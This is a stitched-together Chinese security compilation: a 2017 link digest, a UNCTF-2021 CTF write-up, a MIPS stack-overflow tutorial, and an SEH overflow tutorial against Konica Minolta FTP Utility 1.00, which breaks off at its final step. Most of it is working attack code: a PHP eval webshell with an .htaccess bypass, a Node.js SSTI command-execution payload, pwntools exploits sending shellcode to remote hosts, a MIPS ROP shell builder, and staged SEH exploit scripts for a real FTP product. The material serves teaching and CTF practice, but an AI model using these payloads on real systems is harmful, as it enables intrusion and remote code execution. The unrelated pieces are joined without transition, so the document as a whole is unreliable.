如何使用机器学习来解决恶意软件识别、恶意软件中的符号解析 、java反序列化漏洞分析**
**
**
**资讯类：**
* * *
OPENVPN修复严重的远程执行代码漏洞
<https://threatpost.com/openvpn-patches-critical-remote-code-execution-vulnerability/126425/>
微软为Edge漏洞奖励项目无限延期
<https://threatpost.com/microsoft-extends-edge-bug-bounty-program-indefinitely/126446/>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
对OpenVPN修补的几个漏洞分析
<https://guidovranken.wordpress.com/2017/06/21/the-openvpn-post-audit-bug-bonanza/>
通过共享数组缓冲区实现Firefox UAF
<https://phoenhex.re/2017-06-21/firefox-structuredclone-refleak>
Webpack和Preact-CLI内置证书漏洞
<https://medium.com/@mikenorth/webpack-preact-cli-vulnerability-961572624c54>
libdheap：一个共享（动态）库，可以透明地注入到不同的进程中，以检测glibc堆中的内存损坏
<https://github.com/DhavalKapil/libdheap>
使用Python检测并绕过Web应用程序防火墙
<http://www.kalitutorials.net/2016/12/python-detect-and-bypass-web-application-firewall.html>
思科工程师如何使用机器学习来解决恶意软件识别
<https://continuum.cisco.com/2017/06/20/security-without-compromise-how-cisco-engineers-used-machine-learning-to-solve-an-impossible-problem/>
IDA系列，第1部分：Hex-Rays反编译器
<https://qmemcpy.github.io/post/ida-series-1-hex-rays>
joy：用于捕获和分析网络数据包的软件，可被用于网络研究，取证和安全监控。
<https://github.com/cisco/joy>
内存管理上的漏洞，以系统、编译器和应用为案例说明
<https://cansecwest.com/core05/memory_vulns_delalleau.pdf>
CVE-2017-8474：windows内核DeviceApi 栈内存泄漏
<https://cxsecurity.com/issue/WLB-2017060151>
通过Metasploit验证SNMP和NTP放大攻击
<http://carnal0wnage.attackresearch.com/2017/06/ntpsnmp-amplification-attacks.html>
使用BugID可以调试基于Windows 10 15063上的windows平台应用
<https://github.com/SkyLined/BugId>
SIMD / GPU Friendly Branchless Binary Search
<https://blog.demofox.org/2017/06/20/simd-gpu-friendly-branchless-binary-search/>
根据从恶意软件中发现的字符串自动化生成YARA规则
<https://github.com/Neo23x0/yarGen>
分析恶意软件使用TLS（不含解密）
<https://arxiv.org/pdf/1607.01639.pdf>
恶意软件中的符号解析
<https://www.fireeye.com/blog/threat-research/2017/06/remote-symbol-resolution.html>
java反序列化漏洞分析
<https://xianzhi.aliyun.com/forum/read/1757.html>
识别目标是否基于 Struts2 构建的两种方法
<https://threathunter.org/topic/594a9f0fde1d70c20885ccd5> | 社区文章 |
# UNCTF-2021 WriteUp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
UNCTF2020是我参加的第一个CTF比赛，当时很菜成绩不太好，这次参加UNCTF2021就挺想看看成长了多少，前几天都在公开赛第一名，后面几天有事情，最后只拿了第四名。题目质量还是很不错的，挺有意思的。
## Web
### 1\. **fuzz_md5**
### 2\. **can you hack me**
[www.zip源码泄露](http://www.zip%E6%BA%90%E7%A0%81%E6%B3%84%E9%9C%B2)
下载下来可以获取到密码，利用这个密码构造条件且利用空格绕过
?username=admin%20&password=AdminSecret
### 3\. **Phpmysql**
利用Exception直接执行命令
### 4\. **Bady** **write**
因为file_put_contents可以利用数组绕过写入的数据的过滤，直接写就行了
先写一个1.jpg
<?php eval($_POST[‘a’]);?>
利用.htaccess文件上传,php过滤使用换行绕过一下
AddType application/x-httpd-php .jpg
一句话连接后就可以获得flag
### 5\. **nodejs.ssti**
<https://www.lemonprefect.cn/zh-TW/posts/603682ab.html>
参考IJCTF payload直接打就行
{{“”.toString.constructor(“return
global.process.mainModule.constructor._load(‘child_process’).execSync(‘env’).toString()”)()
}}
### 6\. **enctype login**
因为利用js来验证登录，所以利用bp抓包直接爆破的方法不行了。
js有混淆也不会反混淆。。
所以选择利用控制台来实现
function login(i){
if(i<100000){
$(‘#password’).val(String(i));
$(‘$submit’).click();
settimeout(function() {login(i+1)},20);
}
}
### 7\. **easy_serialize**
md5碰撞+反序列化逃逸
利用16进制绕过flag或者可以利用双写绕过me7eorite类中的flag替换为空
GET:
?a=QNKCDZO&b=s878926199a
POST:
action=1&name=;s:4:”name”;O:9:”me7eorite”:2:{s:4:”safe”;S:5:”\2f\66\6c\61\67”;s:5:”class”;r:4;}}&pass=123&email=abcphpphpflagflagflag
### 8网页照相馆（未做出）
后面没时间做大概看了一下
主要的思路就是 自己服务器上写了一个var_dump($_SERVER);然后通过访问可以得到一个user-agent
这个谷歌浏览器的版本号有问题。好像是谷歌rce然后就没往下看了
## Pwn
### 1\. **fo**
通过:AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p可以测试一下格式化字符串的偏移
然后可以看到偏移为6，然后计算金丝雀偏移就直接rbp-60h/8-1=11
然后11+6等于17，那么17就是金丝雀位置
格式化字符串漏洞泄露栈上的金丝雀然后通过gets函数跳转后面函数
from pwn import *
from pwn import *
io=remote("node4.hackingfor.fun",37709)
#io=process("./fo")
io.recvuntil("will you?\n")
#gdb.attach(io)
io.sendline("%17$p")
io.recvuntil("I will remember what you said\n")
canary=int(io.recvuntil("00"),16)
io.recvuntil("wait for your good news...\n")
payload = 'a'*0x58+p64(canary)+'a'*8+p64(0x40080d)
io.sendline(payload)
io.interactive()
### 2\. **Sc**
什么都没开，感觉就是写shellcode
写到bss段，然后栈溢出调用就好了
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
shellcode = asm(shellcraft.sh())
io=remote("node2.hackingfor.fun",31715)
io.recvuntil("show me your Migic\n")
io.sendline(shellcode)
io.recvuntil("Have you finished?\n")
payload = 'a'*(0x18)+p64(0x601080)
io.sendline(payload)
io.interactive()
调用pwntools的shellcraft模块时要指明系统context(os=”linux”, arch=”amd64”)
### 3\. **magic_int**
整数溢出，但是这边由于题目不知道为啥，如果使用sendline会影响gets函数的stdin，gdb调试一下可以看到直接打入了\n作为参数。不知道是不是故意的(也可能是我太菜)
然后要着重强调一点就是，用==比较字符串时，实际上就是比较地址
所以需要查看clearlove7保存的地址，然后转10进制后，写入int类型后，就能比较成功。
# -- coding:utf-8 -- from pwn import *
io = remote("node4.hackingfor.fun",31158)
#io = process("./pwn")
io.send("-2147483648")
payload = 'a'*(0x70+8)+p64(0x40074c)
io.sendline(payload)
#gdb.attach(io)
io.sendline("4196700")
io.interactive()
### 4\. **ezfsb**
这题主要考察的就是格式化字符串漏洞覆盖大数字还有覆盖小数字，ctfwiki上有给出一个函数可以直接修改，pwntools也有一个模块可以快速修改，如果是2个字节2个字节的修改大数字的话，就比较麻烦了。
然后这边有一点很多人都不知道，就是0x6873表示sh，可以getshell，如果知道这一点就可以很快做出这题，不需要绕过检测之后再进行ret2libc。
第一个check是要小于2，第二个check是要大于0x1000，就直接格式化字符串漏洞进行覆盖就行了。
第一种做法往code[0]中写入0x6873然后栈溢出
from pwn import *
io=remote("node4.hackingfor.fun",38616)
io.recvuntil("canary is hard!\n")
def fmt(prev,word,index):
fmtstr = ""
if prev < word:
result = word - prev
fmtstr = '%' + str(result) + 'c'
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = '%' + str(result) + 'c'
fmtstr += '%' + str(index) + '$hhn'
return fmtstr
def fmt_str(offset,size,addr,target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev,(target >> i *8) & 0xff,offset + i)
prev = (target >> i * 8) &0xff
return payload
payload ='kk%7$nkk'+p32(0x0804a050)
io.sendline(payload)
io.recvuntil("check right\n")
payload = fmt_str(5,4,0x0804a04c,0x6873)
io.sendline(payload)
io.recvuntil("good!\n")
payload = 'a'*0x78+p32(0x08048410)+p32(0)+p32(0x0804a04c)
io.sendline(payload)
io.interactive()
第二种做法就是利用栈溢出ret2libc
### 5\. **ezrop**
这个程序也太简单了。。。
先查看一下mprotect函数
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值，并且可以用“|”将几个属性合起来使用：
1）PROT_READ：表示内存段内的内容可写；
2）PROT_WRITE：表示内存段内的内容可读；
3）PROT_EXEC：表示内存段中的内容可执行；
4）PROT_NONE：表示内存段中的内容根本没法访问。
需要指出的是，锁指定的内存区间必须包含整个内存页（4K）。区间开始的地址start必须是一个内存页的起始地址，并且区间长度len必须是页大小的整数倍。
那就很明了了，利用mprotect函数修改bss段可执行，然后把shellcode写到bss段，栈溢出跳转。
找gadget。
一般找gadget都可以来这边找，一般程序装载都会调用__libc_csu_init函数
然后ROPgadget查找也是必须的
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io=remote("node2.hackingfor.fun",31247)
#io=process("./ezrop")
elf = ELF("./ezrop")
gad1 = 0x04006DA
gad2 = 0x04006C0
rdi = 0x4006e3
rsi_r15 = 0x4006e1
bss = elf.bss()
read_plt = elf.plt['read']
mprotect_plt = elf.plt['mprotect']
vuln_addr = elf.symbols['vuln']
payload = 'a'*(0x50+8)+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss)+p64(0xdeadbeef)+p64(read_plt)+p64(vuln_addr)
io.send(payload)
shell = p64(mprotect_plt)+asm(shellcraft.sh())
io.send(shell)
payload = 'a'*(0x50+8) + p64(gad1)+p64(0)+p64(1)+p64(bss)+p64(7)+p64(0x1000)+p64(0x600000)+p64(gad2)+'a'*56+p64(bss+8)
io.sendline(payload)
io.interactive()
### 6\. **magic_abs**
这题出的挺有意思的。
还是一道整数溢出，abs绝对值溢出
比较简单，就溢出然后栈溢出后面函数就好。
涉及无符号数的计算永远不会溢出，因为不能用结果为无符号整数表示的结果值被该类型可以表示的最大值加 1 之和取模减
from pwn import *
io=remote("node4.hackingfor.fun",35514)
io.recvuntil("What's your name?\n")
payload = 'a'*0x18+p64(0x4009d7)
io.sendline(payload)
io.recvuntil("Tell me your a g e:\n")
io.sendline("2147483648")
io.recvuntil("What's your lucky number?")
io.sendline("-2147483648")
io.interactive()
### 7\. **ezshell**
开了沙箱，只有open和read，并且判断了A < 0x40000000。考虑侧信道攻击。
先通过mmap函数申请了一段可执行的chunk，既然可执行，我们可以写入shellcode，然后可以通过open和read来执行我们写入的shellcode，那么就考虑侧信道攻击。
其实就是先通过shellcode来open flag，然后把flag
read道stack上面，然后通过逐个对比字符来判断flag字符是否正确。如果正确就通过loop继续，失败就退出。
但是由于第一个read的空间只有0x18，那只能在这边做再做一个read，然后使得能读入更多的内容
shellcode = '''
push 0x250
pop rdx
xor rsi,rsi
mov rsi,0x10018
xor rdi,rdi
xor rax,rax
syscall
'''
然后就可以利用shellcraft来写入0x250的shellcode了
`orw_payload = shellcraft.open('flag')`
`orw_payload += shellcraft.read(3,'rsp',0x100)`
借鉴了woodwhale师傅的二分法侧信道爆破脚本
判断条件就是通过查看时间间隔是否大于0.1，然后通过left = mid+1二分法来缩小范围
from pwn import *
from LibcSearcher import *
import sys, subprocess, warnings, os
from pwnlib.adb.adb import shell
def hack(pwn):
global io,binary,libc
times = 0
while True:
try:
times += 1
clear()
pwn()
except:
io.close()
io = getprocess()
def init(binary):
global arglen, elf, path , libc, context, io
arglen = len(sys.argv)
warnings.filterwarnings('ignore')
context.terminal = ['gnome-terminal','-x', 'bash','-c']
elf = ELF(binary)
path = libcpath(binary)
libc = ELF(path)
libc.path = path
context.arch = elfbit(binary)
io = remote("node2.hackingfor.fun",30259)
s = lambda data : io.send(data)
sa = lambda rv,data : io.sendafter(rv,data)
sl = lambda data : io.sendline(data)
sla = lambda rv,data : io.sendlineafter(rv,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True,time=null : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia = lambda : io.interactive()
l32 = lambda : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64 = lambda : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32 = lambda data : u32(data.ljust(4,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i16 = lambda data : int(data,16)
pau = lambda : pause() if DEBUG else null
setlibc = lambda leak,func : leak - libc.sym[func]
elfbit = lambda binary : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath = lambda binary : subprocess.check_output(['ldd',binary]).decode().replace(' ', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce = lambda binary,libc=null : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess = lambda : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear = lambda : os.system('clear')
# context.log_level='debug'
DEBUG = 1
GLIBC = 1
binary = './ezshell'
init(binary)
def setread():
global io
shellcode = '''
push 0x250
pop rdx
xor rsi,rsi
mov rsi,0x10018
xor rdi,rdi
xor rax,rax
syscall
'''
shellcode = asm(shellcode)
s(shellcode)
sleep(0.3)
def pwn():
global io
flag = ""
count = 1
for i in range (len(flag),0x30):
left = 0
right = 256
while left < right:
shellcode = '''
push 0x250
pop rdx
xor rsi,rsi
mov rsi,0x10018
xor rdi,rdi
xor rax,rax
syscall
'''
shellcode = asm(shellcode)
s(shellcode)
mid = (left + right) >> 1
orw_payload = shellcraft.open('flag')
orw_payload += shellcraft.read(3,'rsp',0x100)
orw_payload += f"""
mov dl,byte ptr [rsp+{i}]
mov cl,{mid}
cmp dl,cl
ja loop
mov al,0x3c
syscall
loop:
jmp loop
"""
orw_payload = asm(orw_payload)
rl()
sl(orw_payload)
start_time = time.time()
try:
io.recv(timeout=0.1)
if time.time() - start_time > 0.1:
left = mid + 1
except:
right = mid
io.close()
clear()
info(f"time-->{count}")
info(flag)
count += 1
io = getprocess()
flag += chr(left)
info(flag)
if flag[-1] == "}":
break
pwn()
ia()
### 8\. **Nnote**
一开始进去没发现有什么漏洞，还觉得有的奇怪，后面考虑到可能是堆申请溢出漏洞。
malloc 在执行 malloc( 0 ) 时仍然会返回一个最小的堆块，那么此时记录堆块 size 的值会变成0，此时再edit这个堆块，会发生 0 –
1 整数溢出，导致可以写入很大一块内存。
没时间做了，有点遗憾。差这题就ak了。
## RE
### 1\. **ezlogin**
打开程序，登入就好了
### 2\. **rejunk**
打开ida，虽然有混淆
但是搜索字符串
然后进去异或就好了
## Crypto
### 1\. **Ezrsa**
记得是一个很简单的rsa 都给了，没变形，就直接做了。忘记脚本在哪儿了。签到题应该问题不大
### 2\. **探索中世纪城堡**
遍历凯撒，然后base64，然后栅栏2
### 3\. **分析badbus流量**
Usb键盘加密，20代表大写，对着写就可以了。
## MISC
杂项是真的难，只会一题
### 1\. **简单的日志审计**
我当时做的时候，题目上面就有一段base64，解密然后有一个CTF?有手就行套上unctf就行了 | 社区文章 |
# MIPS缓冲区溢出漏洞实践
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这份实践来自于学习-解密路由器漏洞的笔记和总结。主要用来回顾和巩固整个过程，整个过程里面不是非常顺利，主要的问题点在于对于溢出函数的地址的确定。
这个自己写的漏洞代码主要基于MIPS的编译器进行编译，通过这份基础的溢出漏洞学习，主要用来为之后在路由器的漏洞溢出实践中打好基础。
下面开始review整个过程。
## 1\. 首先我们来看看自己写的一个存在溢出漏洞的源代码
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!n");
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = 'x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!n");
}
fclose(fp);
}
这份代码的主要功能就是从文档“passwd”读取密码，如果密码为adminpwd，那么就执行ls
–l的指令，从而查看文件的列表。可以发现这里有个溢出的缓冲区就是来自于输入的文档“passwd”然后赋值到buf里面，由于没有对buf进行控制，所以可能产生溢出漏洞。这里我们也主要针对这个漏洞进行测试。
那么总结下来挖掘一个MIPS漏洞的过程如下：
A． 确定能够覆盖函数地址的偏移，即劫持PC；
B． 寻找可以用来执行命令的函数；
C． 构造ROP chain；
D． 漏洞利用测试。
## 2\. 首先来确定函数的偏移，可以利用教材自带的字符串溢出测试工具进行测试
$ python patternLocOffset.py –c –l 600 –f passwd
[*] Create pattern string contains 600 characters ok!
[+] output to passwd ok!
[+] take time: 0.0026 s
通过这个命令可以产生一个长度为600的溢出测试字符串，并且存储到名为passwd的文件中。
## 3\. 利用IDA进行MIPS程序的附加调试，在main函数返回函数之前下好断点，然后附加程序运行起来
## 4\. 可以发现覆盖的内容为0x6e37416e， 那么接下来再次利用脚本来测试一下偏移是多少，可以得到偏移是412
$ python patternLocOffset.py -l 600 -s 0x6E37416E
[*] Create pattern string contains 600 characters ok!
[*] Exact match at offset 412
[+] take time: 0.0036 s
## 5\. 偏移确定了，那么我们就可以控制PC了，我们检测测试一下是否成功控制了PC，往passwd里面增加412个‘A’和接下来的4个‘B’
可以发现，我们可以成功控制PC。
## 6\. PC可以控制了，接下来我们就看如何溢出到函数的位置
有两种方式进行漏洞利用：1）复用程序里面的函数调用；2）构造shellcode。
我们这里主要进行程序里面函数复用的测试方式，shellcode的方式在之后再进行测试和使用。通过前面的程序内容分析，可以发现，系统里面有一个函数do_system_0函数可以执行指令：ls
–l。 虽然仅仅只能执行一个命令，
但是只要对该函数的参数进行有效的溢出攻击，那么就能够实现任意系统命令的执行。在此之前，我们需要找一下可以构造函数溢出并且能够返回的一个中间跳转代码块，这里利用IDA的plugin
mipsrop进行寻找：
指令执行之后，可以找到这个位置的代码进行测试：text:00402050. 然后到对应的代码段看，
可以发现这段代码的功能，只要在$SP+0x54的位置存入需要执行的do_system_0函数的地址，然后在$SP+0x18的位置放入需要传入的指令，就能够实现任意命令的执行。
## 7\. 所以，可以发现在添加了PC的偏移之后，需要再相隔0x18个byte再放置需要执行的系统函数的字符串，
然后在PC偏移之后相隔0x54个byte放置需要执行的函数的地址，也就是do_system_0的地址
从上面的截图中可以发现do_system_0的函数䢑为0x00400420.
## 8\. 那么我们就可以尝试按照下面的方式构造一个passwd文件测试一下
import struct
cmd = "sh" # command string
cmd += "x00"*(4 - (len(cmd) % 4)) # align by 4 bytes
#shellcode
shellcode = "A"*0x19C # padding buf
shellcode += struct.pack(">L",0x00402050) # "x00x40x1FxA0"(PC)
shellcode += "A"*24 # padding before command
shellcode += cmd # command($a1)
shellcode += "B"*(0x3C - len(cmd)) # padding
shellcode += struct.pack(">L",0x00400420) # "x00x40x05x90"
shellcode += "BBBB" # padding
print ' ok!'
#create password file
print '[+] create password file',
fw = open('passwd','w')
fw.write(shellcode)#'A'*300+'x00'*10+'BBBB')
fw.close()
print ' ok!'
## 9\. 构造了之后，可以直接用下面的方式进行执行
可以发现成功的进行了漏洞的利用，
到这里，MIPS程序的基础的漏洞利用测试就完成了。
## 总结
这个程序里面有一个内部的do_system_0函数，并且不安全的输入源是输入文件passwd可以用来构造溢出漏洞文件。在之后的程序利用中，很可能主功能的程序里面并没有一个可以利用的函数让我们进行函数的溢出漏洞利用，需要进行shellcode的设计，即从系统库函数里面找到system函数，并且调用与执行。后者的问题稍微麻烦些。
且，当前的这个函数do_system_0里面，对于输入字符串的读取，并不是一个字符串方式的提取，因此，如果是字符串的提取，会对于一些字节进行截取：0x00，如果指令里面存在这样的字符串，可能会导致注入程序的字符串被截断，从而导致程序漏洞利用失败。为此，需要进行shellcode编码或者用其他指令代替或者多跳转几次ROP
chain从而将bad byte消除。
下一次将继续分享总结，如何进行shellcode的编码以绕过字符串截断的问题。
审核人：yiwang 编辑：边边 | 社区文章 |
# 跟小黑学漏洞利用开发之SEH溢出
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
书接上回，我们继续研究如何在Win32系统上利用缓冲区漏洞，完成我们新漏洞利用开发，主要是关于SEH漏洞利用问题。相比上一篇直接覆盖EIP相比，EIP覆盖此效果虽然很好，但也会存在稳定性问题（如无法找到jmp指令，或者需要地址硬编码）并且还会遇到缓冲区大小问题，从而可能限制用于目标机器shellcode空间问题。写到这里有些人想说对于SafeSEH和SEHOP绕过利用这个我们有机会在后续篇文章研究。
## 1.准备
WindowsXP—Sp3（目标机）
kali-linux（攻击机）
Konica Minolta FTP Utility 1.00
ImmunityDebugger 1.85（调试工具）—x64、OD等动态调试器都可以
需要对了解X86汇编
对python有一定了解
## 2.关于SEH
SEH俗称“结构化处理程序”，也有叫“SEH链”
当程序出现除零、非法内存访问、文件打开错误、内存不足等问题，Windows为其提供一次补救机会，即异常处理机制。SEH即异常处理结构体，如下图，每个SEH包含两个DWORD指针，处理异常必须满足两个要去:(1)一个指向当前异常处理函数的指针(SEH)
(2)指向下一个异常处理结构的指针(Nseh).
因为Windows堆栈是向下生长的。所以我们看到异常处理结构是颠倒的[nSEH…[SEH]。详情如下图所示。
到此可以思考，此类问题跟开篇简单的缓冲区溢出有啥区别？如果我们例如上篇文章发送大量异常数据并且触发了SEH处理机制，windows会把寄存器清理，因此不能向往常跳EIP转执行Shellcode。值得庆幸的地方是此机制存在缺陷，我们只需要pop、pop、retn指令覆盖SEH，nSEH地址保存在ESP+8处，pop、pop、retn执行后最终会跳到nSEH执行，至此我们可以控制nSEH，就可以向上篇文章中一样控制shellcode。大致利用流程如下图所示。
综上所述，我们的基本SEH利用需要以下条件：
* nSEH的偏移量
* nSEH 代码跳转跳过SEH
* 寻找包含POP POP RET指令的地址
* 编写Shellcode
## 3.控制SEH和nSEH
下面此漏洞利用POC，首先登陆FTP服务器，发送“CWD”命令，此命令是改变工作目录，此命令后发送到10000个A溢出数据以确定是否引发程序崩溃以及控制SEH链。此POC在实战中唯一缺点是我们需要一个FTP用户。
#!/usr/bin/python
import socket
import sys
evil = "A"*10000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.137.128',21))
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
s.send('CWD ' + evil + '\r\n')
data = s.recv(1024)
s.send('QUIT\r\n')
s.close
程序发送的崩溃，ImmunityDebugger堆栈窗口，如果查看此线程的堆栈（右下窗口），将能够看到从00CAF978开始的SEH链。
在Immunity中查看SEH链的最简单的方法是按Alt + S；我们看到nSEH和SEH已经覆盖。
现在我们需要确定控制nSEH和SEH所需要的字节数。此时我们需要利用非重复性字符串确认偏移量使用前篇小工具msf-pattern_create生成唯一字符串，以确定SEH覆盖偏移量长度。详情代码如下。
#!/usr/bin/python
import socket
import sys
#evil = "A"*10000
evil =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8AcAh7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A*****************省略***************
iAku4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.137.128',21))
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
s.send('CWD ' + evil + '\r\n')
data = s.recv(1024)
s.send('QUIT\r\n')
s.close
重新发起请求，我们查看是否重写nSEH和SEH,同时我们可以利用几种方法确认偏移量，如metasploit中msf-pattern_offset，或者mona工具使用命令!mona findmsp。如图所示，计算出偏移为1037个字节就可以控制SEH链。
确认nSEH和SEH偏移量。我们调整python脚本，并用1037个“
A”填充缓冲区，确保足够覆盖。nSEH指针填充4个字节，为SEH填充4个字节，并在Immunity中确认SEH链的结果。代码如下。
#!/usr/bin/python
import socket
import sys
#offset = 1037
evil = "A"*1037 + "B" * 4 + "C" * 4 + "D" * (10000-1037-4-4)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.137.128',21))
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
s.send('CWD ' + evil + '\r\n')
data = s.recv(1024)
s.send('QUIT\r\n')
s.close
## 4.坏字节
通过观察，发现位于B和C之后D的缓冲区。这是一个存储并检验所有坏字节的好地方。
#!/usr/bin/python
import socket
import sys
#offset = 1037
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
evil = "A"*1037 + "B" * 4 + "C" * 4 + badchars + "D" * (10000-1037-4-4-len(badchars))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.137.128',21))
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
s.send('CWD ' + evil + '\r\n')
data = s.recv(1024)
s.send('QUIT\r\n')
s.close
再次重新发起请求。可以看出，除了NULL（\x00）字节外，没有其他坏字符被识别。
## 5.寻找未保护Pop Pop ret指令模块
现在，我们需要寻找在未开启ALSR、safeSEH保护的Pop Pop ret模块，在Immunity中使用mona，可以通过!mona
seh命令，专用于查找此SEH模块,当然metasploit也提供相关工具，有兴趣小伙伴可以了解下。如图所示，使用目标程序自带动态链接库的KMFtpCM.dll中0x122063b0地址可以为我们所用。
更新代码如下
#!/usr/bin/python
import socket
import sys
#offset = 1037
#seh =0x122063b0
nseh = "\x42\x42\x42\x42"
seh = "\xb0\x63\x20\x12"
evil = "A"*1037 + nseh + seh + "D" * (10000-1037-4-4)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.137.128',21))
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
s.send('CWD ' + evil + '\r\n')
data = s.recv(1024)
s.send('QUIT\r\n')
s.close
修改后代码有效，并且SEH被pop pop ret 命令覆盖，通过按SHIFT + F9忽略异常运行，被重定向到POP POP RET指令的地址
进入POP POP RET指令将重定向到nSEH记录，该记录包含B的4个字节
## 6.跳转指令
现在最后一步我们需要确定跳转指令到shellcode缓冲区大小，通过计算最终跳转地址计算地址为十六进制670换算十进制1648字节。此空间足以容纳Shellcode。
此时我们可以使用metasploit中小工具msf-nasm_shell取得opcode。如图所示。
更新代码如下
#!/usr/bin/python
import socket
import sys
#offset = 1037
#seh =0x122063b0
nseh = "\xEB\x12\x90\x90"
seh = "\xb0\x63\x20\x12"
evil = "A"*1037 + nseh + seh + "D" * (10000-1037-4-4)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.137.128',21))
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
s.send('CWD ' + evil + '\r\n')
data = s.recv(1024)
s.send('QUIT\r\n')
s.close
下面是大概执行过程
通过metasploit使用msfvenom创建开启本地shell，需要注意将“\x00”字符排除在外。如图所示。
## 7.漏洞利用
